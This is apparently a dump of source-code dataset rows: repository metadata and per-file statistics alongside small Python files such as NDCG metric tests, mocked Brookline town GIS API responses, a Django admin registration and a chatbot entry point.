0
1
0.285714
false
0.142857
0.142857
0.142857
0.714286
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
5
844496fc4e675c45ec526af07cd97c41f8866be1
91
py
Python
test/test_normalize.py
khelm/sparc-curation
3bb642aad493949cc167572d41a0308a74151657
[ "MIT" ]
5
2019-03-21T06:06:13.000Z
2022-03-28T19:46:14.000Z
test/test_normalize.py
khelm/sparc-curation
3bb642aad493949cc167572d41a0308a74151657
[ "MIT" ]
81
2019-05-06T06:38:52.000Z
2022-03-28T23:17:24.000Z
test/test_normalize.py
khelm/sparc-curation
3bb642aad493949cc167572d41a0308a74151657
[ "MIT" ]
9
2019-06-24T21:36:10.000Z
2021-11-07T10:46:23.000Z
import unittest class TestNorm(unittest.TestCase): def test_award(self): pass
15.166667
34
0.703297
11
91
5.727273
0.909091
0
0
0
0
0
0
0
0
0
0
0
0.21978
91
5
35
18.2
0.887324
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0.25
0.25
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
5
ffcb7b8f269f9e2b32112ad3e8ee5da952b58f84
140
py
Python
chat/__main__.py
vyahello/weather-chatbot
721229b106cdd35aee63ea690156b852c077e923
[ "Apache-2.0" ]
null
null
null
chat/__main__.py
vyahello/weather-chatbot
721229b106cdd35aee63ea690156b852c077e923
[ "Apache-2.0" ]
null
null
null
chat/__main__.py
vyahello/weather-chatbot
721229b106cdd35aee63ea690156b852c077e923
[ "Apache-2.0" ]
2
2019-10-30T16:47:08.000Z
2020-01-01T18:45:46.000Z
from chat.server import server def run_weather_chatbot() -> None: server.run() if __name__ == "__main__": run_weather_chatbot()
14
34
0.7
18
140
4.777778
0.666667
0.232558
0.395349
0
0
0
0
0
0
0
0
0
0.185714
140
9
35
15.555556
0.754386
0
0
0
0
0
0.057143
0
0
0
0
0
0
1
0.2
true
0
0.2
0
0.4
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
ffd107cea3ad5306930dd5ddfa345ae9b9ace0db
218
py
Python
quiz/admin.py
gamersdestiny/fuzzyquizgame
74fe0c398da9c793bc9aa5a34d98a0f36cb4e6cc
[ "MIT" ]
null
null
null
quiz/admin.py
gamersdestiny/fuzzyquizgame
74fe0c398da9c793bc9aa5a34d98a0f36cb4e6cc
[ "MIT" ]
null
null
null
quiz/admin.py
gamersdestiny/fuzzyquizgame
74fe0c398da9c793bc9aa5a34d98a0f36cb4e6cc
[ "MIT" ]
null
null
null
from django.contrib import admin from django.contrib.admin.decorators import register from . import models admin.site.register(models.Question) admin.site.register(models.Category) admin.site.register(models.Results)
27.25
52
0.834862
30
218
6.066667
0.4
0.148352
0.28022
0.379121
0
0
0
0
0
0
0
0
0.073395
218
8
53
27.25
0.90099
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
080174390856aa826c792497eaf23fe7d3e039a0
96
py
Python
venv/lib/python3.8/site-packages/numpy/polynomial/tests/test_printing.py
Retraces/UkraineBot
3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71
[ "MIT" ]
2
2022-03-13T01:58:52.000Z
2022-03-31T06:07:54.000Z
venv/lib/python3.8/site-packages/numpy/polynomial/tests/test_printing.py
DesmoSearch/Desmobot
b70b45df3485351f471080deb5c785c4bc5c4beb
[ "MIT" ]
19
2021-11-20T04:09:18.000Z
2022-03-23T15:05:55.000Z
venv/lib/python3.8/site-packages/numpy/polynomial/tests/test_printing.py
DesmoSearch/Desmobot
b70b45df3485351f471080deb5c785c4bc5c4beb
[ "MIT" ]
null
null
null
/home/runner/.cache/pip/pool/4f/17/b8/01cfcfe70d3b6af2ffd96afb9e217b53cc8f06a48b26480ca466b755ad
96
96
0.895833
9
96
9.555556
1
0
0
0
0
0
0
0
0
0
0
0.364583
0
96
1
96
96
0.53125
0
0
0
0
0
0
0
0
1
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
5
08197cfc6d04f18e88a125db8477eb9ecae50c21
74
py
Python
tools/masscan/__init__.py
Wolodija/aucote
bb21ff02965ed0cca5a55ee559eae77856d9866c
[ "Apache-2.0" ]
1
2019-12-05T11:17:18.000Z
2019-12-05T11:17:18.000Z
tools/masscan/__init__.py
FCG-LLC/aucote
bb21ff02965ed0cca5a55ee559eae77856d9866c
[ "Apache-2.0" ]
13
2019-12-05T10:34:41.000Z
2019-12-05T10:49:27.000Z
tools/masscan/__init__.py
Wolodija/aucote
bb21ff02965ed0cca5a55ee559eae77856d9866c
[ "Apache-2.0" ]
4
2019-11-09T17:37:07.000Z
2019-12-16T09:50:02.000Z
""" Provides Masscan related objects """ from .ports import MasscanPorts
12.333333
32
0.756757
8
74
7
1
0
0
0
0
0
0
0
0
0
0
0
0.148649
74
5
33
14.8
0.888889
0.432432
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
082489dcd854ce3f3e209727704049998a80fdbe
101
py
Python
rhobot/components/storage/__init__.py
rerobins/rhobot_framework
f97d1cedc929387f69448e41346a0d15fe202eef
[ "BSD-3-Clause" ]
null
null
null
rhobot/components/storage/__init__.py
rerobins/rhobot_framework
f97d1cedc929387f69448e41346a0d15fe202eef
[ "BSD-3-Clause" ]
null
null
null
rhobot/components/storage/__init__.py
rerobins/rhobot_framework
f97d1cedc929387f69448e41346a0d15fe202eef
[ "BSD-3-Clause" ]
null
null
null
from rhobot.components.storage.payload import StoragePayload, ResultCollectionPayload, ResultPayload
50.5
100
0.891089
9
101
10
1
0
0
0
0
0
0
0
0
0
0
0
0.059406
101
1
101
101
0.947368
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
4b7e9a911579004d625cd127e518d95df546d3e6
38
py
Python
.brainfuck-tunnel/default-settings.py
irpekek/Brainfuck
f91c647b78b394d3de2b9bf5e08d1517c89f63e2
[ "MIT" ]
1
2019-07-06T03:25:04.000Z
2019-07-06T03:25:04.000Z
.brainfuck-tunnel/default-settings.py
irpekek/Brainfuck
f91c647b78b394d3de2b9bf5e08d1517c89f63e2
[ "MIT" ]
null
null
null
.brainfuck-tunnel/default-settings.py
irpekek/Brainfuck
f91c647b78b394d3de2b9bf5e08d1517c89f63e2
[ "MIT" ]
3
2020-04-03T23:08:28.000Z
2021-11-23T04:53:50.000Z
import app app.default_settings()
9.5
23
0.736842
5
38
5.4
0.8
0
0
0
0
0
0
0
0
0
0
0
0.184211
38
3
24
12.666667
0.870968
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
4b8db5cd6dcbb5b9cf18d863c41208b1c9190b42
15,150
py
Python
brooklinevoiceapp/mycity/test/test_constants.py
codeforboston/BrooklineVoiceApp
31761249174ad4c74cf3df2dc1bc78dd8b1c6e09
[ "MIT" ]
3
2019-04-07T14:13:44.000Z
2020-06-22T05:11:22.000Z
brooklinevoiceapp/mycity/test/test_constants.py
codeforboston/BrooklineVoiceApp
31761249174ad4c74cf3df2dc1bc78dd8b1c6e09
[ "MIT" ]
35
2018-12-12T01:11:23.000Z
2020-05-13T02:05:42.000Z
brooklinevoiceapp/mycity/test/test_constants.py
codeforboston/BrooklineVoiceApp
31761249174ad4c74cf3df2dc1bc78dd8b1c6e09
[ "MIT" ]
9
2018-11-18T21:58:19.000Z
2020-04-22T00:42:13.000Z
################################################################## # Mocked returns for patched functions that access web resources # ################################################################## GET_POLICE_STATION_API_MOCK = { "displayFieldName": "NAME", "fieldAliases": { "OBJECTID": "OBJECTID", "FACILITYID": "Facility Identifier", "NAME": "Name of Facility", "OWNER": "Owner Name", "OWNTYPE": "Owner Type", "SUBTYPEFIELD": "Subtype Field", "FEATURECODE": "Feature Code", "FULLADDR": "Full Address", "AGENCYURL": "Website", "OPERDAYS": "Operational Days", "OPERHOURS": "Operational Hours", "CONTACT": "Contact Name", "PHONE": "Phone", "EMAIL": "Email" }, "features": [ { "attributes": { "OBJECTID": 1, "FACILITYID": None, "NAME": "Brookline Public Safety HQ", "OWNER": "Town of Brookline", "OWNTYPE": None, "SUBTYPEFIELD": None, "FEATURECODE": None, "FULLADDR": "350 Washington St, Brookline, MA 02445", "AGENCYURL": "http://www.brooklinepolice.com/", "OPERDAYS": "Other", "OPERHOURS": "Other", "CONTACT": None, "PHONE": "617-730-2222", "EMAIL": None }, "geometry": { "x": -71.121409303637222, "y": 42.333789044263746 } } ] } NO_RESULTS_GET_POLICE_STATION_API_MOCK = { "displayFieldName": "NAME", "fieldAliases": { "OBJECTID": "OBJECTID", "FACILITYID": "Facility Identifier", "NAME": "Name of Facility", "OWNER": "Owner Name", "OWNTYPE": "Owner Type", "SUBTYPEFIELD": "Subtype Field", "FEATURECODE": "Feature Code", "FULLADDR": "Full Address", "AGENCYURL": "Website", "OPERDAYS": "Operational Days", "OPERHOURS": "Operational Hours", "CONTACT": "Contact Name", "PHONE": "Phone", "EMAIL": "Email" }, "features": [] } GEOCODE_MOCK = { "spatialReference": { "wkid": 4326, "latestWkid": 4326 }, "x": -71.120614336337198, "y": 42.334020535512529, "z": 0 } LOCATION_MOCK = { "x": -71.120614336337198, "y": 42.334020535512529, "z": 0 } SPACIAL_REFERENCE_MOCK = { "wkid": 4326, "latestWkid": 4326 } ADDRESS_CANDIDATE_MOCK = { "address": "333 WASHINGTON ST", "location": { "x": -71.120614336337198, "y": 42.334020535512529, "z": 0 }, "score": 100, "attributes": { "Loc_name": "Building", "Score": 100, "Match_addr": "333 WASHINGTON ST" } } GET_ADDRESS_CANDIDATES_API_MOCK = { "spatialReference": { "wkid": 4326, "latestWkid": 4326 }, "candidates": [ { "address": "333 WASHINGTON ST", "location": { "x": -71.120614336337198, "y": 42.334020535512529, "z": 0 }, "score": 100, "attributes": { "Loc_name": "Building", "Score": 100, "Match_addr": "333 WASHINGTON ST" } } ] } GEOCODE_ADDRESS_MOCK = { 'geometry':{'x':-7917110.640673582,'y':5211147.471469648}} GET_TRASH_PICKUP_API_MOCK = { "displayFieldName": "DISTRICTID", "fieldAliases": { "OBJECTID": "OBJECTID", "DISTRICTID": "District ID", "NAME": "District Name", "AGENCY": "Agency", "AGENCYURL": "Website", "CONTACT": "Contact Name", "PHONE": "Phone", "EMAIL": "Email", "SUBTYPEFIELD": "Subtype Field", "SCHEDULE": "Schedule", "DESCRIPT": "Additional Information", "MONDAY": "Monday", "TUESDAY": "Tuesday", "WEDNESDAY": "Wednesday", "THURSDAY": "Thursday", "FRIDAY": "Friday", "SATURDAY": "Saturday", "SUNDAY": "Sunday", "GlobalID": "GlobalID" }, "features": [ { "attributes": { "OBJECTID": 2, "DISTRICTID": "1", "NAME": "Wednesday Trash", "AGENCY": "Town of Brookline", "AGENCYURL": "http://ma-brookline.civicplus.com/820/Trash-Recycling-Information", "CONTACT": "Brookline Public Works", "PHONE": "null", "EMAIL": "null", "SUBTYPEFIELD": 0, "SCHEDULE": "Weekly", "DESCRIPT": "http://ma-brookline.civicplus.com/834/Holiday-Schedule-Christmas-Tree-Pick-Up", "MONDAY": "No", "TUESDAY": "No", "WEDNESDAY": "Yes", "THURSDAY": "No", "FRIDAY": "No", "SATURDAY": "No", "SUNDAY": "No", "GlobalID": "{20538BBF-EB83-4CCD-B1E8-93EF36554413}" }, "geometry": { "x": -71.121409303637222, "y": 42.333789044263746 } } ] } NO_RESPONSE_TRASH_PICKUP_API_MOCK = { "displayFieldName": "DISTRICTID", "fieldAliases": { "OBJECTID": "OBJECTID", "DISTRICTID": "District ID", "NAME": "District Name", "AGENCY": "Agency", "AGENCYURL": "Website", "CONTACT": "Contact Name", "PHONE": "Phone", "EMAIL": "Email", "SUBTYPEFIELD": "Subtype Field", "SCHEDULE": "Schedule", "DESCRIPT": "Additional Information", "MONDAY": "Monday", "TUESDAY": "Tuesday", "WEDNESDAY": "Wednesday", "THURSDAY": "Thursday", "FRIDAY": "Friday", "SATURDAY": "Saturday", "SUNDAY": "Sunday", "GlobalID": "GlobalID" }, "features": [] } NO_RESPONSE_VOTING_PRECINCT_API_MOCK = { "displayFieldName": "NAME", "fieldAliases": { "OBJECTID": "OBJECTID", "PRECINCTID": "Precinct ID", "NAME": "Precinct Name", "COUNTY": "County", "LASTUPDATE": "Last Update Date", "LASTEDITOR": "Last Editor", "SHAPE_Length": "SHAPE_Length", "SHAPE_Area": "SHAPE_Area", "STR_NUM": "STR_NUM", "STREET": "STREET", "ADDRESS": "ADDRESS", "LOC_DESC": "LOC_DESC" }, "geometryType": "esriGeometryPolygon", "spatialReference": { "wkid": 102100, "latestWkid": 3857 }, "fields": [ { "name": "OBJECTID", "type": "esriFieldTypeOID", "alias": "OBJECTID" }, { "name": "PRECINCTID", "type": "esriFieldTypeString", "alias": "Precinct ID", "length": 10 }, { "name": "NAME", "type": "esriFieldTypeString", "alias": "Precinct Name", "length": 50 }, { "name": "COUNTY", "type": "esriFieldTypeString", "alias": "County", "length": 50 }, { "name": "LASTUPDATE", "type": "esriFieldTypeDate", "alias": "Last Update Date", "length": 8 }, { "name": "LASTEDITOR", "type": "esriFieldTypeString", "alias": "Last Editor", "length": 50 }, { "name": "SHAPE_Length", "type": "esriFieldTypeDouble", "alias": "SHAPE_Length" }, { "name": "SHAPE_Area", "type": "esriFieldTypeDouble", "alias": "SHAPE_Area" }, { "name": "STR_NUM", "type": "esriFieldTypeString", "alias": "STR_NUM", "length": 8 }, { "name": "STREET", "type": "esriFieldTypeString", "alias": "STREET", "length": 32 }, { "name": "ADDRESS", "type": "esriFieldTypeString", "alias": "ADDRESS", "length": 64 }, { "name": "LOC_DESC", "type": "esriFieldTypeString", "alias": "LOC_DESC", "length": 128 } ], "features": [ ] } GET_VOTING_PRECINCT_API_MOCK = { "displayFieldName": "NAME", "fieldAliases": { "OBJECTID": "OBJECTID", "PRECINCTID": "Precinct ID", "NAME": "Precinct Name", "COUNTY": "County", "LASTUPDATE": "Last Update Date", "LASTEDITOR": "Last Editor", "SHAPE_Length": "SHAPE_Length", "SHAPE_Area": "SHAPE_Area", "STR_NUM": "STR_NUM", "STREET": "STREET", "ADDRESS": "ADDRESS", "LOC_DESC": "LOC_DESC" }, "geometryType": "esriGeometryPolygon", "spatialReference": { "wkid": 102100, "latestWkid": 3857 }, "fields": [ { "name": "OBJECTID", "type": "esriFieldTypeOID", "alias": "OBJECTID" }, { "name": "PRECINCTID", "type": "esriFieldTypeString", "alias": "Precinct ID", "length": 10 }, { "name": "NAME", "type": "esriFieldTypeString", "alias": "Precinct Name", "length": 50 }, { "name": "COUNTY", "type": "esriFieldTypeString", "alias": "County", "length": 50 }, { "name": "LASTUPDATE", "type": "esriFieldTypeDate", "alias": "Last Update Date", "length": 8 }, { "name": "LASTEDITOR", "type": "esriFieldTypeString", "alias": "Last Editor", "length": 50 }, { "name": "SHAPE_Length", "type": "esriFieldTypeDouble", "alias": "SHAPE_Length" }, { "name": "SHAPE_Area", "type": "esriFieldTypeDouble", "alias": "SHAPE_Area" }, { "name": "STR_NUM", "type": "esriFieldTypeString", "alias": "STR_NUM", "length": 8 }, { "name": "STREET", "type": "esriFieldTypeString", "alias": "STREET", "length": 32 }, { "name": "ADDRESS", "type": "esriFieldTypeString", "alias": "ADDRESS", "length": 64 }, { "name": "LOC_DESC", "type": "esriFieldTypeString", "alias": "LOC_DESC", "length": 128 } ], "features": [ { "attributes": { "OBJECTID": 19, "PRECINCTID": "6", "NAME": "Precinct 6 - Vote at 115 Greenough St", "COUNTY": "Norfolk", "LASTUPDATE": 'null', "LASTEDITOR": 'null', "SHAPE_Length": 15810.092868688193, "SHAPE_Area": 7070142.9764727177, "STR_NUM": "115", "STREET": "GREENOUGH ST", "ADDRESS": "115 GREENOUGH ST", "LOC_DESC": "BHS Schluntz Gymnasium, 115 Greenough Street" }, } ] } GET_LIBRARY_API_MOCK = { "features": [ { "attributes": { "OBJECTID": 1, "FACILITYID": "None", "NAME": "Coolidge Corner Library", "OWNER": "Town of Brookline", "OWNTYPE": "None", "SUBTYPEFIELD": "None", "FEATURECODE": "None", "FULLADDR": "31 Pleasant St, Brookline, MA 02446", "AGENCYURL": "http://www.brooklinelibrary.org/", "OPERDAYS": "Other", "OPERHOURS": "Other", "CONTACT": "None", "PHONE": "617-730-2380", "EMAIL": "http://www.brooklinelibrary.org/about/email" }, "geometry": { "x": -7916949.550832789, "y": 5212579.537906414 } }, { "attributes": { "OBJECTID": 2, "FACILITYID": "None", "NAME": "Main Library", "OWNER": "Town of Brookline", "OWNTYPE": "None", "SUBTYPEFIELD": "None", "FEATURECODE": "None", "FULLADDR": "361 Washington St, Brookline, MA 02445", "AGENCYURL": "http://www.brooklinelibrary.org/", "OPERDAYS": "Other", "OPERHOURS": "Other", "CONTACT": "None", "PHONE": "617-730-2370", "EMAIL": "http://www.brooklinelibrary.org/about/email" }, "geometry": { "x": -7917194.260973867, "y": 5211229.5272506215 } }, { "attributes": { "OBJECTID": 3, "FACILITYID": "None", "NAME": "Putterham Branch Library", "OWNER": "Town of Brookline", "OWNTYPE": "None", "SUBTYPEFIELD": "None", "FEATURECODE": "None", "FULLADDR": "959 W Roxbury Pky, Brookline, MA 02467", "AGENCYURL": "http://www.brooklinelibrary.org/", "OPERDAYS": "Other", "OPERHOURS": "Other", "CONTACT": "None", "PHONE": "617-730-2385", "EMAIL": "http://www.brooklinelibrary.org/about/email" }, "geometry": { "x": -7920391.679580264, "y": 5206399.414108847 } } ] } GET_SCHOOL_DISTRICT_API_MOCK = { "displayFieldName": "NAME", "fieldAliases": { "OBJECTID": "OBJECTID", "NAME": "School Name", "DISTRCTNAME": "School District Name", "SCHOOLAREA": "Area in Square Miles", "LASTUPDATE": "Last Update Date", "LASTEDITOR": "Last Editor" }, "features": [ { "attributes": { "OBJECTID": 1, "NAME": "Brookline School", "DISTRCTNAME": "Brookline", "SCHOOLAREA": "1", "LASTUPDATE": None, "LASTEDITOR": None }, "geometry": { "rings": [[[-7920615.96685251,5205180.75934551]]] } } ] } NO_RESULTS_GET_SCHOOL_DISTRICT_API_MOCK = { "displayFieldName": "NAME", "fieldAliases": { "OBJECTID": "OBJECTID", "NAME": "School Name", "DISTRCTNAME": "School District Name", "SCHOOLAREA": "Area in Square Miles", "LASTUPDATE": "Last Update Date", "LASTEDITOR": "Last Editor" }, "features": [] }
28.531073
108
0.439208
1,057
15,150
6.20719
0.217597
0.056089
0.068282
0.024691
0.79561
0.78738
0.774577
0.762079
0.725499
0.695168
0
0.068523
0.397954
15,150
530
109
28.584906
0.650806
0.004092
0
0.622309
0
0.001957
0.39473
0.002541
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
29a475c02f44b4990bc65edb086473e28a59734b
135
py
Python
tmscc/conf.py
tarohi24/tmscc
5e0f30fd009fe827ac2263f369c099a5bbc91a48
[ "MIT" ]
null
null
null
tmscc/conf.py
tarohi24/tmscc
5e0f30fd009fe827ac2263f369c099a5bbc91a48
[ "MIT" ]
2
2018-03-20T06:21:35.000Z
2019-10-03T02:26:25.000Z
tmscc/conf.py
tarohi24/tmscc
5e0f30fd009fe827ac2263f369c099a5bbc91a48
[ "MIT" ]
null
null
null
"""Main module.""" from pathlib import Path PROJECT_ROOT = Path('../').resolve() JARFILE_PATH = PROJECT_ROOT.joinpath('genePAM.jar')
19.285714
51
0.711111
17
135
5.470588
0.764706
0.236559
0.322581
0
0
0
0
0
0
0
0
0
0.103704
135
6
52
22.5
0.768595
0.088889
0
0
0
0
0.119658
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
29d000fda622bebc34f27598ee1460fd46314d97
4,353
py
Python
tests/metrics/test_ndcg.py
rootsdev/nama
1210a24e8ee7689619e800653bd11341d667462d
[ "MIT" ]
null
null
null
tests/metrics/test_ndcg.py
rootsdev/nama
1210a24e8ee7689619e800653bd11341d667462d
[ "MIT" ]
8
2021-10-16T19:24:20.000Z
2021-11-25T02:28:32.000Z
tests/metrics/test_ndcg.py
rootsdev/nama
1210a24e8ee7689619e800653bd11341d667462d
[ "MIT" ]
null
null
null
import pytest import numpy as np from src.eval import metrics def test_ndcg_k_is_zero(): relevant = [1, 2, 3] relevancy_scores = [2, 2, 1] predicted = [1, 3, 2] with pytest.raises(Exception): metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=0) def test_ndcg_k_larger_than_predicted(): relevant = [1, 2, 3] relevancy_scores = [2, 2, 1] predicted = [1, 3, 2] with pytest.raises(Exception): metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=len(predicted) + 1) def test_ndcg_k_none(): relevant = [1, 2, 3] relevancy_scores = [0.2, 0.3, 0.5] predicted = [3, 2, 1, 4, 10, 11] ndcg_3 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=6) ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted) assert ndcg_3 == ndcg_score def test_ndcg_k_no_hits(): relevant = [1, 2, 3] relevancy_scores = [0.2, 0.3, 0.5] predicted = [4, 5, 6, 7, 8, 9, 10] for i in range(len(predicted)): ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=i + 1) assert ndcg_score == 0.0 def test_ndcg_k_perfect(): relevant = [1, 2, 3] relevancy_scores = [0.2, 0.3, 0.5] predicted = [3, 2, 1] for i in range(len(predicted)): ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=i + 1) assert ndcg_score == 1.0 def test_ndcg_k_reals(): relevant = [4, 2, 1] relevancy_scores = [0.7, 0.2, 0.1] predicted = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] ndcg_10 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=10) ndcg_3 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=3) ndcg_1 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=1) assert np.isclose(ndcg_10, 0.602227, atol=1e-4) assert np.isclose(ndcg_3, 0.258148, atol=1e-4) assert np.isclose(ndcg_1, 0.14285, atol=1e-4) def test_ndcg_k_reals_one_hit(): relevant = [4, 2, 1, 0] relevancy_scores = [0.7, 0.1, 0.05, 0.15] predicted = [7, 3, 10, 11, 12, 13, 14, 4] ndcg_8 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=8) assert np.isclose(ndcg_8, 0.254943, atol=1e-4) for i in range(1, len(predicted)): ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=i) assert ndcg_score == 0.0 # https://en.wikipedia.org/wiki/Discounted_cumulative_gain#Example def test_ndcg_k_integers_from_wikipedia(): relevant = [1, 2, 3, 5, 6] relevancy_scores = [3, 2, 3, 1, 2] predicted = [1, 2, 3, 4, 5, 6] k = 6 ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=k) assert np.isclose(ndcg_score, 0.9607, atol=1e-4) def test_ndcg_k_integers(): relevant = [1, 2, 3] relevancy_scores = [2, 2, 1] predicted = [1, 3, 2] ndcg_3 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=3) ndcg_2 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=2) ndcg_1 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=1) assert np.isclose(ndcg_3, 0.9651, atol=1e-4) assert np.isclose(ndcg_2, 0.8065, atol=1e-4) assert np.isclose(ndcg_1, 1, atol=1e-4) def test_ndcg_k_one_hit(): relevant = [2, 3, 4] relevancy_scores = [2, 2, 3] predicted = [0, 1, 10, 2] ndcg_4 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=4) ndcg_1 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=1) assert np.isclose(ndcg_4, 0.163698, atol=1e-4) assert ndcg_1 == 0.0 def test_ndcg_k_zero(): relevant = [1] relevancy_scores = [10] predicted = [5, 6] k = 2 ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=k) assert ndcg_score == 0.0
36.889831
119
0.694693
685
4,353
4.208759
0.110949
0.244537
0.074922
0.12487
0.802289
0.757891
0.746792
0.694069
0.675338
0.675338
0
0.075314
0.17643
4,353
117
120
37.205128
0.72887
0.014473
0
0.356322
0
0
0
0
0
0
0
0
0.172414
1
0.126437
false
0
0.034483
0
0.16092
0
0
0
0
null
1
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
29e75995360e6b2c2603b823650a710a5216b660
96
py
Python
venv/lib/python3.8/site-packages/setuptools/package_index.py
Retraces/UkraineBot
3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71
[ "MIT" ]
2
2022-03-13T01:58:52.000Z
2022-03-31T06:07:54.000Z
venv/lib/python3.8/site-packages/setuptools/package_index.py
DesmoSearch/Desmobot
b70b45df3485351f471080deb5c785c4bc5c4beb
[ "MIT" ]
19
2021-11-20T04:09:18.000Z
2022-03-23T15:05:55.000Z
venv/lib/python3.8/site-packages/setuptools/package_index.py
DesmoSearch/Desmobot
b70b45df3485351f471080deb5c785c4bc5c4beb
[ "MIT" ]
null
null
null
/home/runner/.cache/pip/pool/49/5d/20/52f5f9fae12c9e30c96024b9211896b3ecc4a8de47fef60972e6aaefe0
96
96
0.895833
9
96
9.555556
1
0
0
0
0
0
0
0
0
0
0
0.395833
0
96
1
96
96
0.5
0
0
0
0
0
0
0
0
1
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
5
29f24223b169fe81131f8edcef11b411efb123f4
45
py
Python
Modulo_1/semana2/Estructura-de-Datos/list/listas-reverse.py
rubens233/cocid_python
492ebdf21817e693e5eb330ee006397272f2e0cc
[ "MIT" ]
null
null
null
Modulo_1/semana2/Estructura-de-Datos/list/listas-reverse.py
rubens233/cocid_python
492ebdf21817e693e5eb330ee006397272f2e0cc
[ "MIT" ]
null
null
null
Modulo_1/semana2/Estructura-de-Datos/list/listas-reverse.py
rubens233/cocid_python
492ebdf21817e693e5eb330ee006397272f2e0cc
[ "MIT" ]
1
2022-03-04T00:57:18.000Z
2022-03-04T00:57:18.000Z
a=[2, 3, 5, 7] print(a) a.reverse() print(a)
9
14
0.555556
11
45
2.272727
0.636364
0.48
0
0
0
0
0
0
0
0
0
0.105263
0.155556
45
4
15
11.25
0.552632
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
29f2d4c9db4bbb450daad787bea6cb83a1bac37d
44
py
Python
base/base.py
jokepinocchio/python
3466f23292176c45db6ff4094b9f17b17579fecf
[ "Unlicense" ]
null
null
null
base/base.py
jokepinocchio/python
3466f23292176c45db6ff4094b9f17b17579fecf
[ "Unlicense" ]
null
null
null
base/base.py
jokepinocchio/python
3466f23292176c45db6ff4094b9f17b17579fecf
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python print 'hello python'
11
21
0.704545
7
44
4.428571
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.136364
44
3
22
14.666667
0.815789
0.454545
0
0
0
0
0.521739
0
0
0
0
0
0
0
null
null
0
0
null
null
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
5
29f6f8f57d5578d63e9e6aedb0b7df478c3f8d36
102
py
Python
happyly/caching/__init__.py
alex-tsukanov/cargopy
f73b68e2ea5263dea5e570756d5fbcc4ef8d7b75
[ "MIT" ]
5
2019-03-01T16:50:15.000Z
2021-05-24T10:58:34.000Z
happyly/caching/__init__.py
